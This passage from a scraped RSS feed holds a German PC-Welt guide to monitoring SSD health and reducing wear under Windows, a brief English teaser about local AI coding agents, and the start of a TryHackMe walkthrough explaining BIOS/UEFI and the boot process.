<p>Wer ein PC-Upgrade plant und deshalb gerade die Preisvergleiche der großen Onlinehändler prüft, reibt sich die Augen: Warum ist Speicher so teuer? Früher wurden SSDs und RAM doch laufend günstiger.</p>



<p>Diese Zeiten sind vorbei: Die Kombination aus explodierender Speicher-Nachfrage für KI-Server und -Hardware und einer vorherigen Produktionsverknappung hat die Preise für SSDs massiv nach oben getrieben.</p>



<p>Denn zum einen bauen die Hersteller momentan vor allem DRAM-Speicher für Server und KI-Grafikkarten und weniger NAND-Flash für SSDs. Zudem setzen auch KI-Rechenzentren SSDs als Laufwerke ein. Die Folge: Das Angebot für PC- und Notebook-Anwender schrumpft, die Preise steigen. Laut Experten hat sich NAND-Speicher seit Jahresbeginn um rund 60 Prozent verteuert.</p>



<p>Ein gutes Beispiel ist die <a href="https://www.amazon.de/dp/B0B9C4DKKG?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Samsung 990 PRO NVMe M.2 SSD 2 TB</a>, die bei Amazon derzeit knapp 290 Euro kostet – bis November 2025 war sie meist schon für 160 bis 170 Euro zu haben.  </p>



<p>Diese Entwicklung verwandelt die SSD in Ihrem Rechner von einer jederzeit austauschbaren Komponente zu einem kostbaren Gut, für dessen Langlebigkeit Sie jetzt gut sorgen sollten. Mit unseren Tipps prüfen Sie die Gesundheit des Flashlaufwerks und können sofort Gegenmaßnahmen ergreifen, wenn sie sich verschlechtert. So läuft Ihre SSD problemlos, bis die Preise wieder sinken.</p>



<p>Falls sich aber doch mal eine SSD verabschiedet, finden Sie in unseren Vergleichstests <a href="https://www.pcwelt.de/article/3045261/beste-ssd-test.html" target="_blank" rel="noreferrer noopener">Die besten SSDs aller Klassen von SATA bis PCIe 5.0 im Test </a>und <a href="https://www.pcwelt.de/article/2864644/die-besten-pcie-4-0-ssds-im-test.html" target="_blank" rel="noreferrer noopener">Die besten SSDs mit PCIe 4.0 im Test </a>leistungsfähigen Ersatz.</p>



<h2 class="wp-block-heading toc">An diesen PC-Fehlern erkennen Sie SSD-Probleme</h2>



<p>Eine SSD stirbt leise. Da dem Flashlaufwerk bewegliche Teile fehlen, hören Sie im Schadensfall kein verdächtiges Klackern wie bei einer HDD. Deshalb sollten Sie auf ungewöhnliches Verhalten des PCs achten, dessen Ursache SSD-Fehler sein könnten.</p>



<p><strong>Auffällig langsamer Windows-Start. </strong>Wenn das Betriebssystem behäbig startet und es lange dauert, bis der Anmeldebildschirm oder Desktop angezeigt wird, kann das an zu vielen Programmen im Autostart liegen. Doch falls das gesamte System während des Betriebs für Sekundenbruchteile einfriert, sollten Sie aufmerksam werden: Dieses Verhalten kann auftreten, wenn der SSD-Controller versucht, Daten aus einer Speicherzelle zu lesen, die ihre physikalische Integrität verliert. Das Laufwerk muss den Vorgang dann wiederholen, um die gewünschten Daten fehlerfrei zu erhalten, was das gesamte System ausbremst.</p>



<p><strong>Fehler beim Dateizugriff. </strong>Ein deutlicheres Warnsignal sind Fehlermeldungen beim Zugriff auf Dateien. Meldet Windows beim Öffnen eines Dokuments, dass es beschädigt ist oder aufgrund eines „E/A-Gerätefehlers” nicht geöffnet werden kann, sind sehr wahrscheinlich die SSD-Speicherbereiche bereits defekt, in denen die gewünschten Daten liegen. Einige Laufwerke verfügen für diesen Fall über einen eingebauten Schutzmechanismus: Sie schalten in einen Nur-Lese-Modus um, wenn die Fehlerquote einen kritischen Schwellenwert erreicht. Sie können dann Dateien noch aufrufen und kopieren, aber neue oder geänderte nicht mehr speichern.</p>



<p><strong>Windows stürzt plötzlich ab. </strong>Meldet sich das Betriebssystem unerwartet mit dem berüchtigten „Blue Screen of Death” ab, der als Fehlerursache „WHEA_UNCORRECTABLE_ERROR” zeigt, ist häufig ein schwerwiegender Fehler im Kommunikationsweg zwischen Prozessor und Speicher das Problem. Die Ursache dafür kann eine thermische Überlastung oder ein instabiler SSD-Controller sein. Auch hier sollten Sie nicht warten, sondern sofort eine umfassende Fehlerdiagnose starten.</p>



<h2 class="wp-block-heading toc">Bordmittel oder Gratis-Tool: So prüfen Sie die SSD-Gesundheit</h2>



<p>Windows gibt über ein verstecktes Bordmittel Hinweise auf den Zustand der eingebauten SSD. Um es zu nutzen, öffnen Sie über das Startmenü die „Einstellungen”, navigieren zu „System” und dort zu „Speicher”. Unter den „Erweiterten Speichereinstellungen” finden Sie den Bereich „Datenträger und Volumes”. Wenn Sie bei Ihrer SSD auf die Schaltfläche „Eigenschaften” klicken, zeigt Ihnen Windows die „Geschätzte verbleibende Lebensdauer” sowie die aktuelle Temperatur an. Diese Anzeige basiert auf den sogenannten SMART-Werten (Self-Monitoring, Analysis, and Reporting Technology), die jedes moderne Laufwerk ständig im Hintergrund aufzeichnet.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"69f83b8d3e0e1"}' data-wp-interactive="core/image" class="wp-block-image size-large wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/04/Ratgeber-SSD-Windows-Datentraeger-Anzeige.jpg?quality=50&amp;strip=all&amp;w=1200" alt="Ratgeber SSD Windows Datentraeger Anzeige" class="wp-image-3115876" width="1200" height="816" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button><figcaption class="wp-element-caption"><p>Windows 11 kann Ihnen in den Einstellungen den aktuellen Gesundheitszustand der SSD anzeigen, etwa die verbleibende Lebensdauer und aktuelle Temperatur.</p></figcaption></figure><p class="imageCredit">Friedrich Stiemer</p></div>



<p>Diesen Status sehen Sie aber nur, wenn die SSD mit dem Windows-Standardtreiber für NVMe arbeitet. Notebooks mit einer Intel-CPU verwenden aber oft einen Intel-Treiber wie „Intel RST VMD Controller”, was Sie im Geräte-Manager unter „Speichercontroller” prüfen können: Er gibt die SMART-Werte der SSD nicht weiter, Windows zeigt deshalb den erweiterten Status dann nicht.</p>



<p>Für eine detailliertere Analyse empfehlen wir das Gratis-Tool <a href="https://www.pcwelt.de/article/1161213/crystaldiskinfo-3.html" target="_blank" rel="noreferrer noopener">Crystaldiskinfo</a>. Nach Installation und Start zeigt es eine tabellarische Übersicht. Achten Sie vor allem auf die Information, die oben links steht: Dort signalisiert ein farbiger Punkt den aktuellen Gesamtzustand der SSD. Ein blaues „Gut” bedeutet Entwarnung. Bei einem gelben „Vorsicht” sollten Sie am besten rasch Ihre Daten sichern und einen baldigen Austausch des Laufwerks in Betracht ziehen. Ein rotes „Schlecht” fordert Sie zum sofortigen Handeln auf.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"69f83b8d3e69a"}' data-wp-interactive="core/image" class="wp-block-image size-full wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/04/Ratgeber-SSD-CrystalDiskInfo.png" alt="Ratgeber SSD CrystalDiskInfo" class="wp-image-3115878" width="674" height="658" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button><figcaption class="wp-element-caption"><p>Crystaldiskinfo ist ein bewährtes Tool, um Laufwerke gründlich zu prüfen. Mit einer kleinen Umstellung lassen sich die Daten sofort verständlich anzeigen.</p></figcaption></figure><p class="imageCredit">Friedrich Stiemer</p></div>



<p>Um die kryptischen Zahlenwerte im Tool verständlich zu machen, ist ein kleiner Handgriff nötig: Standardmäßig zeigt Crystaldiskinfo die von der SSD erhobenen „Rohwerte” im Hexadezimalformat. Gehen Sie deshalb im Programmmenü auf den Punkt „Optionen” oder „Funktion”, wählen Sie „Erweiterte Optionen”, dann „Rohwerte” und stellen Sie um auf „10 [DEC]”. Nun sehen Sie beispielsweise bei der Betriebsdauer und den geschriebenen Datenmengen leicht nachvollziehbare Zahlenwerte.</p>



<p>Um die Lebensdauer Ihrer SSD einzuschätzen, achten Sie auf den Punkt „Percentage Used” oder „Verschleißregulierung”: Wenn dieser Wert bei 95 Prozent liegt, bedeutet das bei den meisten Herstellern, dass bereits fünf Prozent der garantierten Lebensdauer verbraucht sind.</p>



<h2 class="wp-block-heading toc">Expertenanalyse mit der Windows-Ereignisanzeige</h2>



<p>Einen tiefergehenden Blick ins SSD-Innenleben liefert die Windows-Ereignisanzeige – sozusagen das Tagebuch Ihres Rechners. Hier lassen sich Laufwerksprobleme erkennen, die die Diagnosesoftware verschweigt, weil ihre Häufigkeit noch unter einem festgelegten Schwellenwert liegt.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"69f83b8d3ec84"}' data-wp-interactive="core/image" class="wp-block-image size-full wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/04/Ratgeber-SSD-Ereignisanzeige.jpg?quality=50&amp;strip=all" alt="Ratgeber SSD Ereignisanzeige" class="wp-image-3115881" width="1024" height="693" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button><figcaption class="wp-element-caption"><p>Die Windows-Ereignisanzeige protokolliert minutiös alle Vorkommnisse und vergibt Ereignis-IDs, die Auskunft darüber geben, was passiert ist.</p></figcaption></figure><p class="imageCredit">Friedrich Stiemer</p></div>



<p>Öffnen Sie die Ereignisanzeige mit einem Rechtsklick auf das Windows-Logo in der Taskleiste und den Eintrag „Ereignisanzeige”. Navigieren Sie im Programm links zu „Windows-Protokolle &gt; System”. Suchen Sie unter der Spalte „Quelle” nach dem Eintrag „Disk”, indem Sie beispielsweise die Quellen alphabetisch sortieren.</p>



<p>Besonders kritisch ist die Nummer 7 in der Spalte „Ereignis-ID”: Sie besagt: „Das Gerät hat auf \Device\HarddiskX\DRX einen schlechten Block gefunden.” Das ist die Diagnose für einen physischen Defekt.</p>



<p>Auch die Ereignis-ID 153 ist ein ernstzunehmender Hinweis: Sie besagt, dass eine Lese- oder Schreiboperation wiederholt werden musste. Häufen sich diese Meldungen, wird die SSD nicht mehr lange funktionieren.</p>



<p>Sollten Sie die Event-ID 157 entdecken, hat Windows den Kontakt zum Laufwerk verloren, was auf ein defektes Kabel oder einen lockeren Kontakt im Gehäuse hinweist.</p>



<div class="wp-block-idg-base-theme-box-text inline-box">
<h2 class="wp-block-heading toc">TLC gegen QLC: Der bessere SSD-Speicher</h2>



<p>Warum halten manche SSDs länger als andere? Das liegt vor allem daran, wie das NAND-Flash des Laufwerks Daten speichert. Die meisten SSDs arbeiten mit TLC- oder QLC-Speicher.</p>



<p>TLC (Triple-Level Cell) speichert drei Bits pro Zelle. Das erfordert eine präzise Messung der Spannung in acht Stufen. Die Belastung des Materials ist moderat, was zu einer Lebenserwartung von etwa 3000 Schreibzyklen pro Zelle führt.</p>



<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"69f83b8d3f32b"}' data-wp-interactive="core/image" class="wp-block-image size-large wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/04/Ratgeber-SSD-TLCvsQLC.jpg?quality=50&amp;strip=all&amp;w=1200" alt="Ratgeber SSD TLCvsQLC" class="wp-image-3115877" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure><p class="imageCredit">OSCOO</p></div>



<p>Bei QLC (Quad-Level Cell) liegen vier Bits in derselben Zelle. Dafür muss der Controller 16 verschiedene Spannungsniveaus unterscheiden können. Die Zellen nutzen sich dadurch schneller ab – oft garantieren die Hersteller für SSDs mit QLC nur 1000 oder weniger Schreibzyklen.</p>



<p>Ist trotz der sehr hohen Preise gerade jetzt ein SSD-Neukauf notwendig, sollten Sie der Versuchung widerstehen, zu den günstigeren QLC-Laufwerken zu greifen. Wenn die SSD Ihr Hauptlaufwerk ist, auf dem Windows und alle Programme installiert sind, sollten Sie lieber in die robustere TLC-Technik investieren. Sie sparen sich damit möglichen Ärger und das Geld für einen verfrühten Neukauf.</p>
</div>



<h2 class="wp-block-heading toc">So hat Ihre SSD weniger Stress</h2>



<p>Sie können die Lebensdauer des Flashlaufwerks verlängern, indem Sie es clever im Rechner platzieren und wichtige Softwareeinstellungen vornehmen.</p>



<p>Eine SSD ist ein Hochleistungsbauteil, das im Betrieb Wärme erzeugt – vor allem der SSD-Controller leidet unter Hitzeentwicklung. NVMe-SSDs im M.2-Format, die direkt auf das Mainboard gesteckt werden, erreichen unter Last Temperaturen von über 70 Grad Celsius. Üblicherweise greift dann eine eingebaute Notbremse: Die SSD drosselt ihre Geschwindigkeit, um Schäden zu vermeiden. Dieser Wechsel zwischen Hitze und Abkühlung belastet aber das Material.</p>



<p>Deshalb sollten Sie dafür sorgen, dass die SSD nicht überhitzt – das gilt besonders für Anwender, die häufig große Datenmengen wie zum Beispiel Videos kopieren.</p>



<p>In einem PC sollte die SSD idealerweise im Luftstrom des Gehäuselüfters liegen. Wenn Ihre Hauptplatine keine Kühlkörper für die M.2-Steckplätze besitzt, können Sie einen passiven Kühlkörper für unter 10 Euro nachrüsten, etwa den <a href="https://www.amazon.de/dp/B09VH29PR1?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Arctic M2 Pro Heatsink-Kühler</a>.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"69f83b8d3fa26"}' data-wp-interactive="core/image" class="wp-block-image size-large wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/04/Ratgeber-SSD-Heatsink.jpg?quality=50&amp;strip=all&amp;w=1200" alt="Ratgeber SSD Heatsink" class="wp-image-3115882" width="1200" height="900" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button><figcaption class="wp-element-caption"><p>Die Nachrüstung eines passiven Kühlkörpers für eine M.2-SSD ist eine kostengünstige und simple Maßnahme, um die Betriebstemperaturen für das Flash-laufwerk spürbar zu reduzieren.</p></figcaption></figure><p class="imageCredit">iFixit</p></div>



<p>Diese Metalllamellen kleben oder schrauben Sie auf die SSD – sie können die Temperatur oft um 10 bis 15 Grad senken. Weniger Möglichkeiten haben Sie bei einem Notebook: Hier können Sie aber darauf achten, den Laptop nicht dauerhaft zu stark auszulasten sowie die Luftein- und -auslässe am Gehäuse nicht zu blockieren.</p>



<p>Eine wichtige Softwareeinstellung für ein längeres SSD-Leben ist das sogenannte Over-Provisioning: Die SSD stellt dabei dem Betriebssystem weniger Speicherplatz zur Verfügung, als sie eigentlich besitzt. Dadurch kann der Controller Daten intern effizient umschichten und muss einzelne Speicherzellen nicht zu häufig beschreiben oder löschen, was sie abnutzt.</p>



<p>Das erreichen Sie, indem Sie die SSD nicht vollständig partitionieren, sondern nur zu rund 90 Prozent. So bleiben dem Controller zehn Prozent Speicherplatz als Daten-Rangierbahnhof. Einfacher geht es mit einem Tool des SSD-Herstellers, zum Beispiel <a href="https://www.awin1.com/cread.php?awinmid=14815&amp;awinaffid=486277&amp;clickref=rss&amp;platform=dl&amp;ued=http://www.samsung.com/de/memory-storage/magician-software/" target="_blank" rel="noreferrer noopener">Magician</a> bei Samsung-SSDs.</p>



<h2 class="wp-block-heading toc">Tipps für Windows: So entlasten Sie Ihren Speicher</h2>



<p>Windows 11 geht üblicherweise pfleglich mit einer SSD um. Doch mit ein paar gezielten Handgriffen können Sie die Schreiblast weiter senken. Ein zentraler Punkt ist der TRIM-Befehl: Durch ihn erfährt die SSD, welche Daten gelöscht wurden, um diese Bereiche im Hintergrund zu säubern.</p>



<p>Stellen Sie sicher, dass diese Funktion aktiv ist, indem Sie im Startmenü „Laufwerke defragmentieren und optimieren” eingeben. Dort sollte bei der SSD unter „Aktueller Status” entweder „Optimierung erforderlich” oder „OK” stehen.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"69f83b8d4019e"}' data-wp-interactive="core/image" class="wp-block-image size-large wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/04/Ratgeber-SSD-LaufwerkeOptimieren.png?w=1200" alt="Ratgeber SSD LaufwerkeOptimieren" class="wp-image-3115879" width="1200" height="758" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button><figcaption class="wp-element-caption"><p>Windows 11 wird SSDs in der Regel auto­matisch optimieren. Falls das nicht der Fall sein sollte, können Sie den Prozess auch selbst anstoßen.</p></figcaption></figure><p class="imageCredit">Friedrich Stiemer</p></div>



<p>Eine klassische Defragmentierung, wie man sie von Festplatten kennt, ist bei SSDs pures Gift, da sie die Zellen unnötig oft beschreibt, ohne einen Geschwindigkeitsvorteil zu bringen. Windows erkennt dies automatisch und führt stattdessen den TRIM-Vorgang durch.</p>



<p>Wenn Ihr Rechner über sehr viel Arbeitsspeicher verfügt – zum Beispiel 32 GB oder mehr –, können Sie erwägen, den Ruhezustand vollständig abzuschalten. Ist dieser aktiv, schreibt Windows bei jedem Ausschalten den gesamten Inhalt des Arbeitsspeichers auf die SSD, was wertvolle Schreibzyklen kostet.</p>



<p>Um dies zu verhindern, klicken Sie mit der rechten Maustaste auf das Windows-Logo in Ihrer Taskleiste und wählen „Terminal (Administrator)” oder „Eingabeaufforderung (Administrator)”. Tippen Sie in das schwarze Fenster den Befehl powercfg -h off ein und bestätigen Sie mit der Enter-Taste. Damit löscht Windows gleichzeitig die Platzhalterdatei auf Ihrem Laufwerk und spart oft mehrere Gigabyte Speicherplatz ein.</p>



<p>Als Alternative bietet sich der „Energie sparen”-Modus (Standby) an, der die Daten lediglich im RAM behält. Diese Funktion können Sie unter Windows 11 nach Ihren Wünschen anpassen: Öffnen Sie die „Einstellungen” mit der Tastenkombination Windows-I, navigieren Sie zu „System” und wählen Sie dort den Bereich „Leistung”.</p>



<p>Unter dem Punkt „Timeouts für Bildschirm, Standbymodus und Ruhezustand” legen Sie in den Drop-down-Menüs fest, nach wie vielen Minuten Ihr Rechner automatisch in den Standby-Modus wechseln soll, sowohl im Akku- wie im Netzbetrieb.</p>



<div class="wp-block-idg-base-theme-box-text inline-box">
<h2 class="wp-block-heading toc">Wie lange lebt meine SSD noch?</h2>



<p>Hersteller geben die Haltbarkeit ihrer Laufwerke oft in TBW (Terabytes Written) an. Dies ist die garantierte Menge an Daten, die Sie auf das Laufwerk schreiben können. Ein typisches 1-TB-Modell der Mittelklasse hat oft einen Wert von 600 TBW.</p>



<p>Bei einem üblichen PC, den Sie für normale Büroarbeit, das Surfen im Internet und gelegentliche Fotobearbeitung nutzen, schreibt die SSD pro Tag im Schnitt etwa 20 bis 40 GB. Bei einem täglichen Schreibaufkommen von 40 GB ergibt sich folgende Rechnung: 600.000 GB (TBW) / 40 GB (pro Tag) = 15.000 Tage. Das entspricht theoretisch einer Nutzungsdauer von über 41 Jahren.</p>



<p>Ein zweiter Wert ist DWPD (Drive Writes Per Day). Er gibt an, wie oft Sie die gesamte Kapazität des Laufwerks täglich während der Garantiezeit von meist fünf Jahren überschreiben dürfen.</p>



<p>Der reine Speicherverschleiß durch das Schreiben von Daten ist für die meisten SSDs daher kein Problem. Viel gefährlicher sind dagegen plötzliche Defekte durch Überhitzung, instabile Netzteile oder fehlerhafte Firmware. Deshalb ist die regelmäßige Kontrolle der Temperatur und der SMART-Werte deutlich wichtiger als das akribische Zählen jedes geschriebenen Megabytes.</p>
</div>

</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Usage-based pricing killing your vibe - here's how to roll your own local AI coding agents]]></title>
<description><![CDATA[Take those token limits and shove them by vibe coding with a local LLM With model devs pushing more aggressive rate limits, raising prices, or even abandoning subscriptions for usage-based pricing, that vibe-coded hobby project is about to get a whole lot more expensive. Fortunately, you're not w...]]></description>
<link>https://tsecurity.de/de/3482183/it-nachrichten/usage-based-pricing-killing-your-vibe-heres-how-to-roll-your-own-local-ai-coding-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3482183/it-nachrichten/usage-based-pricing-killing-your-vibe-heres-how-to-roll-your-own-local-ai-coding-agents/</guid>
<pubDate>Sat, 02 May 2026 13:31:45 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h4>Take those token limits and shove them by vibe coding with a local LLM</h4> <p>With model devs pushing more aggressive rate limits, raising prices, or even abandoning subscriptions for usage-based pricing, that vibe-coded hobby project is about to get a whole lot more expensive. Fortunately, you're not without cost-saving options.…</p> <p><!--#include virtual='/data_centre/_whitepaper_textlinks_top.html' --></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[TryHackMe Walkthrough: MBR and GPT Analysis (Beginner to Intermediate Guide)]]></title>
<description><![CDATA[Before Windows Loads: The Hidden Boot Architecture Every Tech Person Should UnderstandBefore Windows shows you a login screen, before Linux mounts a single filesystem, before any software you have ever used touches RAM — a completely different system runs first. It has no interface. It makes no s...]]></description>
<link>https://tsecurity.de/de/3481897/hacking/tryhackme-walkthrough-mbr-and-gpt-analysis-beginner-to-intermediate-guide/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3481897/hacking/tryhackme-walkthrough-mbr-and-gpt-analysis-beginner-to-intermediate-guide/</guid>
<pubDate>Sat, 02 May 2026 09:51:58 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Before Windows Loads: The Hidden Boot Architecture Every Tech Person Should Understand</p><blockquote><em>Before Windows shows you a login screen, before Linux mounts a single filesystem, before any software you have ever used touches RAM — a completely different system runs first. It has no interface. It makes no sound. And if even two bytes of it are wrong, your computer will not boot at all.</em></blockquote><p>Every time you press the power button, a precise chain of events unfolds in the dark — invisible, silent, and entirely outside the operating system you think of as your computer. This chain involves firmware burned into your motherboard, cryptographic checksums, backup copies of critical structures, and a 92-byte document that maps your entire disk. Understanding this chain does not just satisfy curiosity. It explains why systems fail, how malware hides below the OS, and how forensic analysts recover data that users believe is gone forever.</p><p>This guide walks through the complete boot process — from dead hardware to running OS — covering MBR, GPT, and every structure in between. No surface-level overview. The real thing.</p><h4>Step 1 — Power-On: The CPU Wakes Up With No Instructions</h4><p>When electrical current reaches your motherboard, the CPU powers on. But it is completely blank at this moment — it has no idea what to do, where the operating system is, or even what kind of disk is connected. It needs a starting point.</p><p>That starting point is a chip permanently soldered onto your motherboard called the <strong>firmware chip</strong>. The CPU’s first action is always to execute whatever code lives at a fixed memory address on that chip. This is either <strong>BIOS</strong> or <strong>UEFI</strong> — two generations of the same idea.</p><h4>BIOS vs UEFI — Why It Matters?</h4><p>Both are firmware: software permanently stored in hardware, responsible for starting the machine and handing control to your OS. The difference is everything else.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*da_cSAZTNIsX5zk1-uXgKA.png"></figure><p><strong>BIOS (Basic Input/Output System)</strong> is the original standard, introduced in the 1970s. It operates in 16-bit mode, cannot recognise disks larger than 2 TB, has no graphical interface, and offers no security features. It is a relic that modern systems have abandoned.</p><p><strong>UEFI</strong> <strong>(Unified Extensible Firmware Interface)</strong> is the modern replacement. It supports huge disks, has a graphical interface, and includes <strong>Secure Boot</strong> — a feature that verifies the bootloader hasn’t been tampered with, protecting against malware that attacks before the OS loads. It also keeps a backup of boot code, so if something gets corrupted, it can recover.</p><blockquote><strong>How to check on Windows:</strong> Press Windows + R, type msinfo32, press Enter. Look for <strong>BIOS Mode</strong> — it will say either <strong>Legacy</strong> (BIOS) or <strong>UEFI</strong>.</blockquote><h4>Step 2 — POST: The Hardware Health Check</h4><p>Once the CPU starts executing firmware instructions, the first thing BIOS/UEFI does is run a <strong>POST (Power-On Self Test)</strong>. This is a quick health check of all hardware:</p><ul><li>Is RAM working?</li><li>Is the keyboard connected?</li><li>Are storage drives detected?</li><li>Is the GPU responding?</li></ul><p>If everything is fine, you get <strong>one short beep</strong> (on systems with a speaker) and the process continues. If something is wrong, you hear a <strong>pattern of beeps</strong> — each pattern means a different error. Error messages may also appear on screen (e.g., “Keyboard not found”). 